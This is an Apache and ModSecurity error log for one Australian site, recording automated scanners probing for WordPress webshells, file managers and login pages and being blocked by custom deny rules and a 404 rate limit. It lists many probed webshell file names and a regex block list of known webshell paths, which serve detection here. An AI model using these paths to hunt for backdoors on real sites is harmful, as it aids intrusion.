[Wed Apr 22 22:12:55.390218 2026] [:error] [pid 9085:tid 9090] [client 45.86.202.41:21965] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aejXZ9-_-or9vQnlWnqzSQAAAUM"]
[Wed Apr 22 22:12:57.375448 2026] [:error] [pid 23776:tid 23779] [client 45.86.202.8:24015] [client 45.86.202.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aejXabRExf-1pAbSeJsU3gAAAYE"]
[Wed Apr 22 22:12:57.920978 2026] [:error] [pid 6250:tid 6257] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Wed Apr 22 22:12:58.196709 2026] [:error] [pid 6250:tid 6266] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Wed Apr 22 22:12:58.771634 2026] [:error] [pid 6250:tid 6264] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Wed Apr 22 22:12:59.950811 2026] [:error] [pid 6250:tid 6268] [client 45.86.202.5:54257] [client 45.86.202.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "aejXaw-iZeQkqmQVfj4iTgAAAE4"]
[Wed Apr 22 22:13:00.557083 2026] [:error] [pid 6250:tid 6277] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Wed Apr 22 22:13:00.871886 2026] [:error] [pid 6250:tid 6259] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Wed Apr 22 22:13:01.160483 2026] [:error] [pid 6250:tid 6265] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Wed Apr 22 22:13:01.728822 2026] [:error] [pid 6250:tid 6272] [client 45.86.202.5:54257] [client 45.86.202.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.5, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aejXbQ-iZeQkqmQVfj4iVwAAAFI"]
[Wed Apr 22 22:13:02.584288 2026] [:error] [pid 6250:tid 6258] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Wed Apr 22 22:13:02.861943 2026] [:error] [pid 6250:tid 6260] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Wed Apr 22 22:13:03.437487 2026] [:error] [pid 6250:tid 6266] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Wed Apr 22 22:13:03.998454 2026] [:error] [pid 6250:tid 6264] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Wed Apr 22 22:13:04.893680 2026] [:error] [pid 6250:tid 6277] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Wed Apr 22 22:13:06.953731 2026] [:error] [pid 6250:tid 6257] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Wed Apr 22 22:13:07.223801 2026] [:error] [pid 6250:tid 6266] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Wed Apr 22 22:13:08.664415 2026] [:error] [pid 6250:tid 6265] [client 45.86.202.5:54257] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Wed Apr 22 22:13:09.312595 2026] [:error] [pid 6250:tid 6261] [client 45.86.202.5:54257] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aejXdQ-iZeQkqmQVfj4ieAAAAEc"]
[Wed Apr 22 22:13:10.415838 2026] [:error] [pid 6250:tid 6266] [client 45.86.202.26:22119] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Wed Apr 22 22:13:10.695212 2026] [:error] [pid 6250:tid 6264] [client 45.86.202.26:22119] [client 45.86.202.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aejXdg-iZeQkqmQVfj4ifgAAAEo"]
[Wed Apr 22 22:13:11.525729 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.43:30223] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Wed Apr 22 22:13:11.835353 2026] [:error] [pid 9085:tid 9110] [client 45.86.202.43:30223] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aejXd9-_-or9vQnlWnqzgAAAAVc"]
[Wed Apr 22 22:13:14.130026 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.36:49935] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Wed Apr 22 22:13:14.685685 2026] [:error] [pid 23776:tid 23793] [client 45.86.202.36:49935] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Wed Apr 22 22:13:15.267893 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.36:49935] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Wed Apr 22 22:13:15.554465 2026] [:error] [pid 23776:tid 23780] [client 45.86.202.36:49935] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Wed Apr 22 22:13:16.103439 2026] [:error] [pid 23776:tid 23779] [client 45.86.202.36:49935] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aejXfLRExf-1pAbSeJsVEgAAAYE"]
[Wed Apr 22 22:13:17.884786 2026] [:error] [pid 9085:tid 9089] [client 45.86.202.7:36701] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Wed Apr 22 22:13:18.160087 2026] [:error] [pid 9085:tid 9094] [client 45.86.202.7:36701] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Wed Apr 22 22:13:18.449980 2026] [:error] [pid 9085:tid 9108] [client 45.86.202.7:36701] [client 45.86.202.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aejXft-_-or9vQnlWnqznwAAAVU"]
[Wed Apr 22 22:13:19.363768 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.13:62705] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aejXf9-_-or9vQnlWnqzpAAAAVQ"]
[Wed Apr 22 22:13:20.854251 2026] [:error] [pid 9085:tid 9105] [client 45.86.202.219:53635] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Wed Apr 22 22:13:21.712831 2026] [:error] [pid 9085:tid 9098] [client 45.86.202.219:53635] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Wed Apr 22 22:13:21.999675 2026] [:error] [pid 9085:tid 9106] [client 45.86.202.219:53635] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Wed Apr 22 22:13:22.291009 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.219:53635] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aejXgt-_-or9vQnlWnqztwAAAVQ"]
[Wed Apr 22 22:13:22.920017 2026] [:error] [pid 6252:tid 6328] [client 45.86.202.8:34121] [client 45.86.202.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aejXgutGYuiYb1nWBpRfcgAAARA"]
[Wed Apr 22 22:13:24.958694 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.30:25225] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Wed Apr 22 22:13:25.536573 2026] [:error] [pid 6384:tid 6389] [client 45.86.202.30:25225] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aejXhT58M3t15ICeWHVx3AAAAMI"]
[Wed Apr 22 22:13:26.399669 2026] [:error] [pid 6384:tid 6392] [client 45.86.202.22:64173] [client 45.86.202.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aejXhj58M3t15ICeWHVx4AAAAMU"]
[Wed Apr 22 22:13:27.501725 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.45:57695] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Wed Apr 22 22:13:27.793052 2026] [:error] [pid 6384:tid 6387] [client 45.86.202.45:57695] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Wed Apr 22 22:13:28.083413 2026] [:error] [pid 6384:tid 6403] [client 45.86.202.45:57695] [client 45.86.202.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aejXiD58M3t15ICeWHVx6wAAANA"]
[Wed Apr 22 22:13:28.958096 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.32:59255] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Wed Apr 22 22:13:29.253304 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.32:59255] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Wed Apr 22 22:13:29.851981 2026] [:error] [pid 9085:tid 9095] [client 45.86.202.32:59255] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Wed Apr 22 22:13:30.835129 2026] [:error] [pid 9085:tid 9087] [client 45.86.202.32:59255] [client 45.86.202.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aejXit-_-or9vQnlWnqzygAAAUA"]
[Wed Apr 22 22:13:31.391701 2026] [:error] [pid 6384:tid 6410] [client 45.86.202.19:64973] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Wed Apr 22 22:13:32.408697 2026] [:error] [pid 6384:tid 6404] [client 45.86.202.19:64973] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aejXjD58M3t15ICeWHVyDwAAANE"]
[Wed Apr 22 22:13:33.244348 2026] [:error] [pid 6384:tid 6410] [client 45.86.202.43:21581] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Wed Apr 22 22:13:34.070004 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.43:21581] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Wed Apr 22 22:13:34.339744 2026] [:error] [pid 6384:tid 6409] [client 45.86.202.43:21581] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Wed Apr 22 22:13:34.935989 2026] [:error] [pid 6384:tid 6391] [client 45.86.202.43:21581] [client 45.86.202.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.43, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aejXjj58M3t15ICeWHVyJwAAAMQ"]
[Wed Apr 22 22:13:36.383191 2026] [:error] [pid 6384:tid 6408] [client 45.86.202.43:21581] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aejXkD58M3t15ICeWHVyNQAAANU"]
[Wed Apr 22 22:13:38.496187 2026] [:error] [pid 6344:tid 6349] [client 45.86.202.35:58703] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Wed Apr 22 22:13:38.792899 2026] [:error] [pid 6344:tid 6373] [client 45.86.202.35:58703] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aejXkkDOTF-pkQnDeUkKfAAAABg"]
[Wed Apr 22 22:14:17.972112 2026] [autoindex:error] [pid 6384:tid 6400] [client 45.86.202.7:30183] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 22:53:16.047796 2026] [:error] [pid 9085:tid 9093] [client 45.150.174.91:56626] [client 45.150.174.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.150.174.91, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aejg3N-_-or9vQnlWnrMNwAAAUY"]
[Wed Apr 22 22:53:16.051091 2026] [:error] [pid 9085:tid 9093] [client 45.150.174.91:56626] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Apr 22 23:36:09.729850 2026] [:error] [pid 6250:tid 6270] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Wed Apr 22 23:36:10.002027 2026] [:error] [pid 6250:tid 6255] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Wed Apr 22 23:36:10.273906 2026] [:error] [pid 6250:tid 6266] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/xminie.php
[Wed Apr 22 23:36:10.545925 2026] [:error] [pid 6250:tid 6263] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Wed Apr 22 23:36:10.822272 2026] [:error] [pid 6250:tid 6260] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/x=34.php
[Wed Apr 22 23:36:11.093442 2026] [:error] [pid 6250:tid 6273] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/insta.php
[Wed Apr 22 23:36:11.374361 2026] [:error] [pid 6250:tid 6259] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Wed Apr 22 23:36:11.645955 2026] [:error] [pid 6250:tid 6261] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/xxa.php
[Wed Apr 22 23:36:11.921578 2026] [:error] [pid 6250:tid 6264] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Wed Apr 22 23:36:12.193908 2026] [:error] [pid 6250:tid 6258] [client 68.219.234.17:35499] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Wed Apr 22 23:36:12.473792 2026] [:error] [pid 6250:tid 6276] [client 68.219.234.17:35499] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "aejq7A-iZeQkqmQVfj4xsQAAAFY"]
[Wed Apr 22 23:36:13.195529 2026] [:error] [pid 9085:tid 9103] [client 68.219.234.17:35497] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "aejq7d-_-or9vQnlWnrj8QAAAVA"]
[Wed Apr 22 23:36:13.821568 2026] [:error] [pid 9085:tid 9099] [client 68.219.234.17:35467] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "aejq7d-_-or9vQnlWnrj9QAAAUw"]
[Wed Apr 22 23:36:14.446112 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:35468] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s1.php"] [unique_id "aejq7t-_-or9vQnlWnrj-QAAAUY"]
[Wed Apr 22 23:36:15.244487 2026] [:error] [pid 9085:tid 9107] [client 68.219.234.17:35512] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aejq79-_-or9vQnlWnrj_AAAAVQ"]
[Wed Apr 22 23:36:15.827334 2026] [:error] [pid 9085:tid 9102] [client 68.219.234.17:35494] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aejq79-_-or9vQnlWnrj_wAAAU8"]
[Wed Apr 22 23:36:16.383530 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:35506] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aejq8N-_-or9vQnlWnrkAgAAAUo"]
[Wed Apr 22 23:36:16.994223 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:35421] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "aejq8N-_-or9vQnlWnrkBQAAAUY"]
[Wed Apr 22 23:36:17.544527 2026] [:error] [pid 6250:tid 6262] [client 68.219.234.17:35478] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aejq8Q-iZeQkqmQVfj4xswAAAEg"]
[Wed Apr 22 23:36:18.297887 2026] [:error] [pid 6344:tid 6372] [client 68.219.234.17:35399] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aejq8kDOTF-pkQnDeUkdMwAAABc"]
[Wed Apr 22 23:36:18.868364 2026] [:error] [pid 23776:tid 23784] [client 68.219.234.17:35450] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aejq8rRExf-1pAbSeJsvkQAAAYY"]
[Wed Apr 22 23:36:19.383907 2026] [:error] [pid 6252:tid 6334] [client 68.219.234.17:35509] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "aejq8-tGYuiYb1nWBpRrKQAAARY"]
[Wed Apr 22 23:36:19.948742 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:35440] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aejq89-_-or9vQnlWnrkEQAAAUo"]
[Wed Apr 22 23:36:20.537528 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:35516] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aejq9N-_-or9vQnlWnrkFAAAAUY"]
[Wed Apr 22 23:36:21.071320 2026] [:error] [pid 9085:tid 9106] [client 68.219.234.17:8137] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aejq9d-_-or9vQnlWnrkGAAAAVM"]
[Wed Apr 22 23:36:21.791155 2026] [:error] [pid 6384:tid 6394] [client 68.219.234.17:35519] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aejq9T58M3t15ICeWHWX2wAAAMc"]
[Wed Apr 22 23:36:22.388689 2026] [:error] [pid 23776:tid 23794] [client 68.219.234.17:35496] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aejq9rRExf-1pAbSeJsvlwAAAZA"]
